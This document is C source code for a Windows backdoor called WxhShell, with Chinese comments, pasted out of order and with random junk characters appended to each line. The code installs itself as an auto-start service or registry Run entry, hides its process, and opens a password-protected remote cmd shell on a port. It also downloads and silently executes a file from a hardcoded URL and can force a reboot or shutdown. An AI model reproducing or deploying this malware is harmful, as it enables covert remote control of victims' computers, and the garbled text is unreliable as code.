    if(Boot(SHUTDOWN))  Q ,)}t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZG)%vB2c  
    else { /s^O M`5  
    closesocket(wsh); 1$ ~W~O  
    ExitThread(0); C<\O;-nHH  
    } }\)O1  
    break; ]!04L}hy|P  
    } i.*Utm`1"e  
  // 获取shell qUF}rl S=r  
  case 's': { iKuSk~  
    CmdShell(wsh); bZ*J]1y(.  
    closesocket(wsh); 3_+$x 4%  
    ExitThread(0); Fm{`?!  
    break; ` SO"F,  
  } 4F>?G{ci  
  // 退出 gdyP,zMD7  
  case 'x': { tV,Y38e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X3;|h93.a  
    CloseIt(wsh); or1D 6 *'  
    break; w6[uM%fHG  
    } Td>Lp=0rU  
  // 离开 RA~%Cw4t  
  case 'q': { ^8r4tX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !|gln)|A  
    closesocket(wsh); :svRn9_8H  
    WSACleanup(); 5n'C6q "  
    exit(1); !`%3?}mv,  
    break; d*xKq"+ &E  
        } AHre#$`97  
  } L0O},O  
  } 7 -hSso.'  
8_@#5  
  // 提示信息 hE"a(i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3<nd;@:-  
} %}asw/WiUa  
  } {qHf%y&[  
&jHnM^nQ  
  return; F&om^G'U  
} Jr4^@]78o<  
p%v+\T2r  
// shell模块句柄 2|n~5\K|t  
int CmdShell(SOCKET sock) 0*KU"JcXd  
{ [LJ1wBMw  
STARTUPINFO si; T};fy+iq  
ZeroMemory(&si,sizeof(si)); E#=slj @  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r!vSYgee  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `kd P)lI `  
PROCESS_INFORMATION ProcessInfo; 3tlA! e  
char cmdline[]="cmd"; ."m2/Ks7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hDJ84$eVZ  
  return 0; <|'C|J_!  
} 71?>~PnbH}  
 v NJ!d  
// 自身启动模式 ta-kqt!'  
int StartFromService(void) 76rNs|z~  
{ i|5K4Puu  
typedef struct ^Fr82rJs  
{ W=$d|*$  
  DWORD ExitStatus; tNI~<#+lg  
  DWORD PebBaseAddress; p Rn vd|  
  DWORD AffinityMask; pZ,P_?  
  DWORD BasePriority; *hp3w  
  ULONG UniqueProcessId; W:^\Oe5&a  
  ULONG InheritedFromUniqueProcessId; %usy`4 2  
}   PROCESS_BASIC_INFORMATION; a0oM KGW:  
mG!Rh  
PROCNTQSIP NtQueryInformationProcess; (bk~,n_  
TrHz(no  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H *gF>1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G#&R/Tc5N  
>d&_e[j  
  HANDLE             hProcess; 0N~AQu  
  PROCESS_BASIC_INFORMATION pbi; gZ*8F|sg  
Jm|eZDp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ub8|x]ix  
  if(NULL == hInst ) return 0; {VPF2JFB[  
Gmi w(T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -$#'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9:!<=rk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P7;=rSW  
m 4Vh R_  
  if (!NtQueryInformationProcess) return 0; (q!tI* }  
|7V:~MTkk&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xx~XW ^lsh  
  if(!hProcess) return 0; RSLMO8  
Jp<Y2-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TixXA:Mf  
BK>uJv-qU  
  CloseHandle(hProcess); 8lo /BGxS>  
{BBL`tg60  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [WDtr8L  
if(hProcess==NULL) return 0; AKVll  
gu[3L  
HMODULE hMod; h^h!OQKQ  
char procName[255]; |RBgJkS;8  
unsigned long cbNeeded; ?\ C7.of  
dHnR)[?e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ON{&-  
ceDe!Iu  
  CloseHandle(hProcess); H=OKm  
 xA DjQ%B  
if(strstr(procName,"services")) return 1; // 以服务启动 .R/`Y)4  
|@]`" k  
  return 0; // 注册表启动 }%B^Vl%ZZ  
} ~G!>2 +L  
* _puW x  
// 主模块 %,-oxeM1u  
int StartWxhshell(LPSTR lpCmdLine) ^w eU\  
{ @tvAI2W  
  SOCKET wsl; ]g jhrD   
BOOL val=TRUE; fdIk{o  
  int port=0; A`|OPi)  
  struct sockaddr_in door; ,4hQ#x  
^[{\ZX  
  if(wscfg.ws_autoins) Install(); rAK}rNxI  
L`%v#R  
port=atoi(lpCmdLine); 9|Cu2  
Zs _Jn  
if(port<=0) port=wscfg.ws_port; I^pD=1Y]  
/jdq7CF  
  WSADATA data; B1]dub9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `Z*k M VN  
 hfpSxL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D}1Z TX_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !JtVp&?  
  door.sin_family = AF_INET; x?0ZzB),  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H]5%"(h  
  door.sin_port = htons(port); >}` q4U6$  
9S ~!!7oj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ENwDW#U9  
closesocket(wsl); ln#Jb&u  
return 1; DGMvYNKTj  
} %UuV^C  
rmj?jBKQU  
  if(listen(wsl,2) == INVALID_SOCKET) { d Ybb>rlu  
closesocket(wsl); ^lCys  
return 1; ?Xscc mN  
} c!Gnd*!?-  
  Wxhshell(wsl); <(rf+Ou>I  
  WSACleanup(); -I7"9}j3  
-,NiSh}A  
return 0; 1s4+a^ &  
+;7Rz_.6f  
} 4-@D`,3L  
Z `FqC  
// 以NT服务方式启动 m&xyw9a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LMchNTL  
{ ZzA4iT=KO  
DWORD   status = 0; [,s{/OM  
  DWORD   specificError = 0xfffffff; Gma)8X#  
)v&r^DR_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b&BSigrvou  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +@),Fk_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ay~l%x  
  serviceStatus.dwWin32ExitCode     = 0; }Wf\\  
  serviceStatus.dwServiceSpecificExitCode = 0; 1{B^RR.  
  serviceStatus.dwCheckPoint       = 0; qF m=(J%  
  serviceStatus.dwWaitHint       = 0; 9s\;,!b  
ek~bXy{O`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XJl2_#  
  if (hServiceStatusHandle==0) return; *rPUVhD_  
5a1)`2V2M  
status = GetLastError(); iGmBG1a\  
  if (status!=NO_ERROR) CN6@g^)P  
{ :*V1jp+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^;0.P)yGA  
    serviceStatus.dwCheckPoint       = 0; 3dG[dYj  
    serviceStatus.dwWaitHint       = 0; n5i#GvO^  
    serviceStatus.dwWin32ExitCode     = status; MsMNP[-l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^v. ~FFK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X(F 2 5  
    return; W]p)}#FR  
  } 0\f3La  
r'7>J:cy=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #Jt9U1WbF  
  serviceStatus.dwCheckPoint       = 0; "' g*_  
  serviceStatus.dwWaitHint       = 0; :hYV\8 $  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hO3>Gl5<  
} z_vFf0  
%jKbRiz1u  
// 处理NT服务事件,比如:启动、停止 $qk2!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2 F3U,}  
{ T0xU}  
switch(fdwControl) *C*n( the  
{ 5/-{.g   
case SERVICE_CONTROL_STOP: )8Defuxk  
  serviceStatus.dwWin32ExitCode = 0; +~lZ]a7k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i9?$BZQ[R  
  serviceStatus.dwCheckPoint   = 0; (rV#EA+6[`  
  serviceStatus.dwWaitHint     = 0; aW-'Jg=@H^  
  { Bi?+e~R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Id3i qAL  
  } CO!K[ q#  
  return; k^-HY[Q9  
case SERVICE_CONTROL_PAUSE: EAYx+zI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #w3cImgp2  
  break; j}NGyS" =  
case SERVICE_CONTROL_CONTINUE: q1QrtJFPG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SS;[{u!  
  break; Q C?*O?~#  
case SERVICE_CONTROL_INTERROGATE: dLQV>oF  
  break; L1;IXCc=  
}; 9$F '*{8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c}K>#{YeB  
} R(Y4nw+Y-  
Jybx'vZj  
// 标准应用程序主函数 >(Mu9ie*`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gz)]1Z{%$  
{ ,zmGKn#n2  
z7X[$T$V  
// 获取操作系统版本 _:4n&1{.E  
OsIsNt=GetOsVer(); _&s37A&\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O 4xV "\  
3#7D g't  
  // 从命令行安装 vCE1R]^A.]  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~D1.opj3  
A%S6&!I:(  
  // 下载执行文件 _U<sz{6  
if(wscfg.ws_downexe) { NsYeg&>`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v^_OX $=,  
  WinExec(wscfg.ws_filenam,SW_HIDE); H2oAek(  
} |pB[g> ~V  
)r _zM~jI  
if(!OsIsNt) { p:]kH  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]DcQ8D  
HideProc(); ao>`[-  
StartWxhshell(lpCmdLine); GrWzgO  
} FL -yt  
else ^|KX)g  
  if(StartFromService()) Y'6GY*dL  
  // 以服务方式启动 /8 /2#`3R  
  StartServiceCtrlDispatcher(DispatchTable); \yeo-uN8  
else 1RC(T{\x  
  // 普通方式启动 u'"VbW3u n  
  StartWxhshell(lpCmdLine); >W%tEc  
lqPzDdC^>  
return 0; gKK*` L~  
} )sg@HFhY'  
NbyVBl0=  
cY1d6P0  
F.:B_t  
=========================================== {L 7O{:J  
qF!oP  
kqJ \kd  
9(`d h  
6\4~&+;wL  
z)$X/v  
" Y{~[N yE  
78't"2>  
#include <stdio.h> Ys|n9pW  
#include <string.h> 6{/HNEI*1  
#include <windows.h> a!ao{8#  
#include <winsock2.h> "?E>rWz  
#include <winsvc.h> jcNY W_G  
#include <urlmon.h> ~5e)h_y  
P~Cx#`#(V  
#pragma comment (lib, "Ws2_32.lib") ~4YU  
#pragma comment (lib, "urlmon.lib")  f,utA3[  
vMOI&_[\z  
#define MAX_USER   100 // 最大客户端连接数 <4!SQgL  
#define BUF_SOCK   200 // sock buffer Z["[^=EP  
#define KEY_BUFF   255 // 输入 buffer JY4sB8  
H4#|f n  
#define REBOOT     0   // 重启 ;E? Z<3{  
#define SHUTDOWN   1   // 关机 ]=T`8)_r)  
k.b->U  
#define DEF_PORT   5000 // 监听端口 + D ,Nd=/  
Y0`=h"g  
#define REG_LEN     16   // 注册表键长度 \%fl`+`  
#define SVC_LEN     80   // NT服务名长度 EMy Med_  
"/v{B?~%!  
// 从dll定义API ~4HS 2\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *z-Mr~ V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'urn5[i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jr/|nhGl5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4N&4TUIM  
fhCMbq4T  
// wxhshell配置信息 a`XXz  
struct WSCFG { ^ ,`;x  
  int ws_port;         // 监听端口 tz{W69k+  
  char ws_passstr[REG_LEN]; // 口令 24u;'i-y5  
  int ws_autoins;       // 安装标记, 1=yes 0=no v[efM8  
  char ws_regname[REG_LEN]; // 注册表键名 0"q^`@sZ  
  char ws_svcname[REG_LEN]; // 服务名 $ekJs/I&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {<XPE:1>Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xE+Nz5F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nSWW^ ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?2D1gjr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c#l W ?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ")%)e;V3  
OV)J  
}; )%e`SGmp  
@I{v  
// default Wxhshell configuration _=ani9E]uF  
struct WSCFG wscfg={DEF_PORT, >^vyp!  
    "xuhuanlingzhe", 7v9l+OX,6  
    1, fI:j@Wug  
    "Wxhshell", #3!l6]  
    "Wxhshell", 4L'dV  
            "WxhShell Service", [se J'Io  
    "Wrsky Windows CmdShell Service", VFUuG3p)  
    "Please Input Your Password: ", 0OJBC~?{\  
  1, cB~D3a0Th  
  "http://www.wrsky.com/wxhshell.exe", dW hU o\>=  
  "Wxhshell.exe" ^{L/) Xy5  
    }; wvH=4TT=w"  
nt$V H  
// 消息定义模块 k@HV wK'y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DIx!Sw7EC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i"eUacBz/-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y*!J +A#  
char *msg_ws_ext="\n\rExit."; j<+Q Gd%  
char *msg_ws_end="\n\rQuit."; &DnX6%2  
char *msg_ws_boot="\n\rReboot..."; 3C8cvi[IS  
char *msg_ws_poff="\n\rShutdown..."; JO*}\Es  
char *msg_ws_down="\n\rSave to "; ,Jqi J?,4C  
=pQ'wx|>|  
char *msg_ws_err="\n\rErr!"; Uy8r !9O  
char *msg_ws_ok="\n\rOK!"; {FV_APL9_  
Ja$Ple*XU8  
char ExeFile[MAX_PATH]; &j4 1<A  
int nUser = 0; crx8+  
HANDLE handles[MAX_USER]; 5X2&hG*  
int OsIsNt; AcF6p)@_  
P+tnXT>nE  
SERVICE_STATUS       serviceStatus; Tk(ciwB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,{{e'S9cy  
:u}FF"j  
// 函数声明 qo2/?]  
int Install(void); /%W&zd=%#  
int Uninstall(void); >lZ9Y{Y4v  
int DownloadFile(char *sURL, SOCKET wsh); xWNB/{F  
int Boot(int flag); \>}G|yL  
void HideProc(void); TL%2?'G  
int GetOsVer(void); oA_T9uh[  
int Wxhshell(SOCKET wsl); .Y;ljQ  
void TalkWithClient(void *cs); 3ya_47D  
int CmdShell(SOCKET sock); ZbS* zKEW  
int StartFromService(void); `/WX!4eR,  
int StartWxhshell(LPSTR lpCmdLine); UZsn14xSA  
E038p]M!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !3]}3jZ.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !3Xu#^Xxj  
AQCU\E  
// 数据结构和表定义 &~ =q1?  
SERVICE_TABLE_ENTRY DispatchTable[] = 8T3j/ D<r  
{ 3vs;ZBM  
{wscfg.ws_svcname, NTServiceMain}, zq(R!a6  
{NULL, NULL} Q& p'\6~  
}; Aw]W-fx  
r!DUsE  
// 自我安装 VK7lm|J+  
int Install(void) gEFs4; CN  
{ }E?{M~"<  
  char svExeFile[MAX_PATH]; sA( e  
  HKEY key; y'gIx*6B@  
  strcpy(svExeFile,ExeFile); xMck A<E  
v.wHj@  
// 如果是win9x系统,修改注册表设为自启动 DB1F _!9  
if(!OsIsNt) { 37j-FLbW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C_c*21X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4dfR}C  
  RegCloseKey(key); B?;!j)FUtt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b:OQ/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n2<#]2h  
  RegCloseKey(key); +YS0yTWeX  
  return 0; Gag=GHG  
    } OQ,KQ\  
  } 5.1 c#rL  
} \YV`M3O  
else { e MX?x7  
]{mz %\  
// 如果是NT以上系统,安装为系统服务 KJ/ *BBf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }3{ x G+,  
if (schSCManager!=0) "YUh4uZ~P  
{ *U[Nn5#?  
  SC_HANDLE schService = CreateService Q/JX8<7K  
  ( -UJ; =/  
  schSCManager, pA ,xDs@37  
  wscfg.ws_svcname, VR/*h%  
  wscfg.ws_svcdisp, 4tv}5llSG  
  SERVICE_ALL_ACCESS, DOk(5gR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _]g?3Gw7!  
  SERVICE_AUTO_START, ]KsL(4PY  
  SERVICE_ERROR_NORMAL, }]i re2j8  
  svExeFile, Sdk:-Zuv  
  NULL, 3&'u7e  
  NULL, STfcx] L  
  NULL, _{d0Nm  
  NULL, r`t|}m  
  NULL WH@CH4WM  
  ); 9&FFp*'3  
  if (schService!=0) Sqt '}  
  { 85QVj] nr  
  CloseServiceHandle(schService); ?3X(`:KB  
  CloseServiceHandle(schSCManager); JjD'2"z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y@\R$`0J  
  strcat(svExeFile,wscfg.ws_svcname); 8&gr}r- 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #n9:8BKf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .BaU}-5  
  RegCloseKey(key); )Ha`>  
  return 0; "4 Lt:o4x  
    } Qxw?D4/Y  
  } 5)IJ|"]y  
  CloseServiceHandle(schSCManager); D^R=  
} G-5 4D_ 4  
} f{m,?[1C,  
Kbdjd p  
return 1; ?9F_E+!  
} \( S69@f  
g$z9 (i+  
// 自我卸载 W.B;Dy,Y  
int Uninstall(void) |H.i$8_A  
{  2s+ITPr  
  HKEY key; |oYqkP|  
`7f><p/q  
if(!OsIsNt) { !9w;2Z]uum  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f&z@J,_=  
  RegDeleteValue(key,wscfg.ws_regname); 6}Iu~| 5  
  RegCloseKey(key); .Mn+Bd4f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eM3-S=R?<g  
  RegDeleteValue(key,wscfg.ws_regname); jbDap i<  
  RegCloseKey(key); qHAZ)Tz  
  return 0; 51,RbADB  
  } l6YToYzE2  
} fV 6$YCf  
} QA=G+1x  
else { N2 vA/  
FEdWe\E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m!Iax]D{  
if (schSCManager!=0) tA*hh"9  
{ KGVAP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iyj,0T  
  if (schService!=0) ?Re6oLm<B  
  { J ejDF*Q  
  if(DeleteService(schService)!=0) { ?u*gKI  
  CloseServiceHandle(schService); U',.'"m  
  CloseServiceHandle(schSCManager); j@j%)CCM  
  return 0; E[z8;A^:0  
  } B4/0t:^I  
  CloseServiceHandle(schService); ? iX1;c9  
  } AGH7z  
  CloseServiceHandle(schSCManager); SO~]aFoYt  
} t *8k3"  
} x_C#ALq9  
-zzM!1@F  
return 1; GzC=xXON  
} R(i2TAaaU  
)ZyEn%  
// 从指定url下载文件 I3{koI  
int DownloadFile(char *sURL, SOCKET wsh) 1l8kuwH  
{ d G}.T_l  
  HRESULT hr; $>72 g.B  
char seps[]= "/"; =nq9)4o  
char *token; j.'Rm%@u  
char *file; :9_N Y"P  
char myURL[MAX_PATH]; jK!Y-  
char myFILE[MAX_PATH]; 9PU9BYBG  
]m>N!Iu  
strcpy(myURL,sURL); v7V.,^6+  
  token=strtok(myURL,seps); |Lq -vs?  
  while(token!=NULL) /~4wM#Yi8  
  { m]Sv>|  
    file=token; R5y+bMZ  
  token=strtok(NULL,seps); v(ATbY75  
  } GN7\p)  
FMuakCic5  
GetCurrentDirectory(MAX_PATH,myFILE); ^/)!)=?  
strcat(myFILE, "\\"); l7.W2mg  
strcat(myFILE, file); Eyv|~D  
  send(wsh,myFILE,strlen(myFILE),0); &TpzJcd"  
send(wsh,"...",3,0); A3\%t@y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fP6]z y^ *  
  if(hr==S_OK) &oA p[]  
return 0; ,>DaS(  
else SM<kR1bo  
return 1; f9Vxtd  
af:wg]g  
} U%Igj:%?;`  
k:+Bex$g  
// 系统电源模块 q,<AW>  
int Boot(int flag) uv:DO6 {  
{ 3\=iB&Gf|  
  HANDLE hToken; c]pO'6]  
  TOKEN_PRIVILEGES tkp; BFCF+hU^6R  
_?5$ST@5  
  if(OsIsNt) { 2'R& K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EmaVd+Sw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;+) M~2 =  
    tkp.PrivilegeCount = 1; 4. &t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y|s?9'z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vYYLn9}5  
if(flag==REBOOT) { :6,qp?/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A? =(q  
  return 0; mXX9Aa>  
} 6l{=[\.Xa  
else { .szs?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [jOvy>2K]  
  return 0; 7_AR()CM  
} A[,[j?wC  
  } jslfq@5v  
  else { c{iF  
if(flag==REBOOT) { $WOiXLyCk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DwQa j"1<%  
  return 0; vd4}b>  
} tRqg')y  
else { 2n9E:tc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <lx~/3<m  
  return 0; [M^ur%H  
} `=]I -5#.W  
} *-!&5~o/U  
rA*"22v=  
return 1; oNgu- &  
} gFsnL*L0  
WsA(8Ck<  
// win9x进程隐藏模块 ^:b%Q O  
void HideProc(void) w% Ug9  
{ g@&@ ]63  
;'o:1{Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R!v ?d2  
  if ( hKernel != NULL ) -&#H@Gyw  
  { s}~'o!}W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wYf9&}k\4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ++s=$D  
    FreeLibrary(hKernel); zH0{S.3 k  
  } lC/4CPKtV  
:Kc}R)6  
return; q><E?  
} ]FJpe^ ua  
^,Sl^ 9K  
// 获取操作系统版本 Q( WE.ux)<  
int GetOsVer(void) zuWfR&U|W  
{ D@Zb|EI%<  
  OSVERSIONINFO winfo; I|6wPV?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }y-b<J ?H  
  GetVersionEx(&winfo); KUC (n!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -L9I;]:KY  
  return 1; w3^>{2iqq  
  else ;tS4 h  
  return 0; 9s5PJj"u  
} -3M6[`/  
'`$US;5  
// 客户端句柄模块 Min^EAG@  
int Wxhshell(SOCKET wsl) %8?s3^ o  
{ ZaCUc Px  
  SOCKET wsh; py,B6UB5  
  struct sockaddr_in client; c3\z  
  DWORD myID; |eEcEu?/b  
d83K;Ryd  
  while(nUser<MAX_USER) zc<C %t[~y  
{ xh7#\m_U8  
  int nSize=sizeof(client); [!@&t:A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zc QFIP  
  if(wsh==INVALID_SOCKET) return 1; `-l, `7e'  
q@;z((45  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ''9FB5  
if(handles[nUser]==0) W$x'+t5H  
  closesocket(wsh); H3=U|wr|  
else S`LS/)  
  nUser++; @v1f)(N  
  } |[k/%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A7~~{9  
Az_s"}G  
  return 0; 3pSkk  
} Q\H_lB  
{DPobyvwFk  
// 关闭 socket u`l1 zMk  
void CloseIt(SOCKET wsh) >?b9Xh  
{ g-c\ ;  
closesocket(wsh); HvWnPh1l  
nUser--; Ns6Vf5T.  
ExitThread(0); 83*"58  
} qg;[~JZYKi  
*/B-%*#I.  
// 客户端请求句柄 8^3Z]=(Q  
void TalkWithClient(void *cs) Qrt[MJ+#  
{ +L4_]  
i,=CnZCh  
  SOCKET wsh=(SOCKET)cs; b|i94y(  
  char pwd[SVC_LEN]; zOR  
  char cmd[KEY_BUFF]; <r*A(}Y  
char chr[1]; 33O@jb s@  
int i,j; [.}-nAN  
gxpGi@5  
  while (nUser < MAX_USER) { D0?l$]aE  
7` ^]:t  
if(wscfg.ws_passstr) { U>^u!1X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N?d4Pu1m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kRBPl9 9  
  //ZeroMemory(pwd,KEY_BUFF); nw3CI&Y`  
      i=0; [XA  f=x  
  while(i<SVC_LEN) { tqY)  
'1{#I/P;  
  // 设置超时 dP(*IOO.  
  fd_set FdRead; K!q:A+]  
  struct timeval TimeOut; hJ0)"OA5  
  FD_ZERO(&FdRead); H26'8e  
  FD_SET(wsh,&FdRead); lY5a=mwHU  
  TimeOut.tv_sec=8; 66"-Xf~u  
  TimeOut.tv_usec=0; |V2+4b,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &lYZ=|6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~Co7%e V  
;;E "+.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Ry )^5Q  
  pwd=chr[0]; z.f~wAT@<  
  if(chr[0]==0xd || chr[0]==0xa) { 2}P<}-?6  
  pwd=0; q9j9"M'  
  break; )-FQ_K%  
  } 2M>Y3Q2Yv  
  i++; 5b_[f(  
    } RVmD&  
v*Qr(4  
  // 如果是非法用户,关闭 socket i[b?W$]7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pIh%5Z U  
} uy~KJn?Tu  
[@@Ovv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *yGOm i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >r7{e:~q  
$wa )e  
while(1) { K[ZgT$zZ  
iVM{ L  
  ZeroMemory(cmd,KEY_BUFF); oI9Jp`  
4C&L%A  
      // 自动支持客户端 telnet标准   ]9?_ m@Ihx  
  j=0; ^F<[5e)M  
  while(j<KEY_BUFF) { :('7ly!h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C'ZF#Z  
  cmd[j]=chr[0]; !m"(SJn"  
  if(chr[0]==0xa || chr[0]==0xd) { dKcHj<'E/  
  cmd[j]=0; p1 tfN$-  
  break; ^a@Vn\V1  
  } X*Mw0;+T  
  j++; v>TI.;{y  
    } WP1>)  
h5 Y3 v  
  // 下载文件 Xidt\08s  
  if(strstr(cmd,"http://")) { 6Cut[*lj^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I(r^q"  
  if(DownloadFile(cmd,wsh)) [o)P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J;Az0[qMR  
  else #2c-@),  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5-|fp(Ww_W  
  } JcxhI]E  
  else { x\j6=|  
|2!/<%Yr`  
